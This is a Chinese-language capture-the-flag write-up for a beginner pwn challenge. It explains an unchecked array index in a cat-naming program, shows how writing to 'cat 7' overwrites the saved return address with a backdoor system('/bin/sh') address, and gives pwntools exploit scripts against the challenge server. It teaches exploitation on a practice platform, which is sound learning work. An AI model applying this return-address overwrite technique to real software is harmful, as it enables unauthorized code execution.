前言
每日一题的第三题,主要是对于上一道题的一个巩固和补充,涉及到了一点函数执行流的控制,但是总体还是比较简单。
漏洞点分析
在上一道题目里我们遇见了一个溢出数组变量的内存空间的漏洞,一般来说我们称这种类型漏洞为数组越界漏洞(当然,漏洞的俗名只是方便大家归类整理与交流,自己的另起说法也是可行的)。
但是稍微回想一下,上一道题的关键是通过数组越界修改v2变量的值,程序设定好了,只要v2被更改为这个值,我们就能获得flag。
然而在上上道,也就是nc中,我们提到过,想要做出pwn题,需要想方设法使程序执行system(‘’/bin/sh"
)。而那一道数据越界的题目根本没有提到system(‘’/bin/sh")
,这又是怎么回事呢?难道自相矛盾了吗?
实际并不是,大家如果研究一下system函数,就会知道,其实上一道题,我们之所以能拿到flag,也是因为程序执行了一个和system("/bin/sh")
有一点像的system(cat flag)
。
为什么这两个函数参数不同,但执行的最终效果是等同的,以及这个函数的背后原理如何,可以参考文章:
这些其实都是为了引出我们这一道题的解法–通过数组溢出控制程序执行流,从而调用system()
函数。
用ida打开这道题,我们能够发现main函数一共只调用了两个函数,一个是init()
,这个函数进行一系列初始化的操作,暂时可以忽略,然后就是一个看起来比较关键的函数vulnerable()
,这个单词的意思是,易受攻击的。出题者将这个函数命名为易受攻击的函数,肯定是要给我们一些提示,解题的关键大体也在这个函数中。
双击进入vulnerable()
函数内部。观察一下函数的代码逻辑。
(这个lemon应该是个符号。酸的意思)
为了让大家更能清楚地看懂程序的执行逻辑,我把每一行大致的功能或者意思讲清楚。
unsigned int vulnerable()
{
int v0; // ST20_4
signed int i; // [esp+Ch] [ebp-3Ch]
char v3[40]; // [esp+14h] [ebp-34h],定义了一个大小为0x30的字符类型数组储存猫猫的名字。
unsigned int v4; // [esp+3Ch] [ebp-Ch]
v4 = __readgsdword(0x14u); //这个 __readgsdword(0x14u)是一个对于溢出的检查,大家可以简单地将它理解为read函数。
puts("I bought you five famale cats.Name for them?");
for ( i = 1; i <= 5; ++i )
{
v0 = NameWhich((int)v3);//嵌套调用的另外一个函数,用来给猫猫命名。
printf("You get %d cat!!!!!!\nlemonlemonlemonlemonlemonlemonlemon5555555\n", i);
printf("Her name is:%s\n\n", &v3[8 * v0]);//取出v中存的指定的字符串,看不懂的可以看看下面namewhich中的解释。
}
return __readgsdword(0x14u) ^ v4;//与那个溢出检查相对应,可以忽略。
}
然后是namewhich函数
int __cdecl NameWhich(int a1)
{
int v2; // [esp+18h] [ebp-10h]
unsigned int v3; // [esp+1Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);//同理
printf("Name for which?\n>");
__isoc99_scanf("%d", &v2);//询问要给哪只猫命名,然后你的选择被储存在v2中,也就是v2现在是一个数字。
printf("Give your name plz: ");
__isoc99_scanf("%7s", 8 * v2 + a1);//,%7s代表我们最多只能用七个字符给猫猫命名,然后这里的a1就是vulnerable()中的namewhich的函数参数,也就是v3这个数组。8 * v2 + a1,大致理解就是把v3这个40大小的内存块分为五个格子,每个格子大小为8,然后通过8*格子的序列号来定位。+a1是为了找到v3内存卡的位置。
return v2;//返回v2,也就是给第v2只猫猫命名的那个v2.
}
大体分析完函数的代码逻辑,就来到了我们解题的第一个关键:漏洞点的分析。
题目说到,买了五只小猫猫,然后请你给它们命名。for循环也规定了i最大为5,但是在NAmeWhich中,选择给第几只猫命名时的数字却没有限定。这就造成了数组溢出。
我们在vulnreable函数中找到储存猫猫名字的数组的那个变量,也就是v3
双击v3,进入ida中的stack窗口。
这里的var_34就是v3数组开始的地址。
然后重点关注一下+00000004位置的r。
这个r看起来非常不起眼,但是确是我们解题的关键。
从这里开始我们就要引入一个新的概念–函数的返回地址了。
众所周知我们程序功能是由一个个函数实现的,一般来说程序需要有main函数,然后main函数内部再调用不同的函数。比如在这道题目中main函数调用了vulnreable函数,那么当vulnreable函数执行完成,计算机应该跳回main函数继续执行,但是计算机并不知道执行完vulnreable函数之后应该去哪里继续执行,所以这时后我们需要一个返回地址,来告诉计算机应该跳到哪里继续执行程序。
关于函数返回地址实际上还有很多知识需要大家理解,但是要做出题的话,只需要知道“返回”就像一个传送门,你可以利用它跳转到几乎任意你想要跳转的地方。
实际上想要彻底理解这里的秘密,需要大家学习函数调用栈,以及一些基础的汇编语言知识,这些我们留到下一周再讲,现在以感受题目为主。
既然我们能够跳转到任意地址,我们是不是能把返回地址改成system("/bin/sh")
的地址,让函数返回时实则是在调用system("/bin/sh")
呢?
在ida中,我们能够很轻易地发现,程序是包含这个后门函数的,这意味着我们可以直接引用这个函数在ida中的地址来调用它(具体的原理可以以后再学)。地址则是0x80485CB。
。
那么就只剩下最后一个问题了:我们怎样才能把返回地址覆盖成0x80485CB呢?
还是回到stack窗口。
现在再看一看,返回地址就在+04这里,而我们给猫猫命名,字符串是从-0x34开始存的,还记得之前分析到的,每一只猫猫名字最多是七个字符,并且内存空间是以8为单位划分的,从-0x34到=+04,一共有0x38,也就是56个字符。56%8 = 7
从第48个字符开始,其实就已经是ret的地址了。也就是说第七只猫猫的名字,正好存在返回地址所在的地址上。
所以是不是只要我们给第七只猫命的名,是我们刚刚找到的后门函数的地址,就能够提权,获得flag了?
脚本编写
怀着这样的决心,我们开始编写这道题的脚本。
from pwn import *
p=remote("node4.buuoj.cn",xxxxx)
shell_addr=0x80485CB
p.sendlineafter('Name for which?\n>','7')
p.sendlineafter("Give your name plz: ",p32(shell_addr))
p.interactive()
脚本的内容应该是很容易理解的,但是这里出现了一个问题。
按照逻辑,我们只需给第七只猫命名为后门函数的地址,但是实际执行的时候并没有如我们所想的那样顺利。
ps:如果出现了timeout: [*] Got EOF while reading in interactive
就说明交互超时,然后程序会自动退出,大概率说明你的exp存在问题(但也有很多题目是本身就存在时限)
给前面几只猫猫也命上就可以了。
exp:
from pwn import *
p=remote("node4.buuoj.cn",29553)
shell_addr=0x80485CB
p.sendlineafter('Name for which?\n>','1')
p.sendlineafter("Give your name plz: ",'nya')
p.sendlineafter('Name for which?\n>','2')
p.sendlineafter("Give your name plz: ",'B')
p.sendlineafter('Name for which?\n>','3')
p.sendlineafter("Give your name plz: ",'C')
p.sendlineafter('Name for which?\n>','4')
p.sendlineafter("Give your name plz: ",'D')
p.sendlineafter('Name for which?\n>','7')
p.sendlineafter("Give your name plz: ",p32(shell_addr))
p.interactive()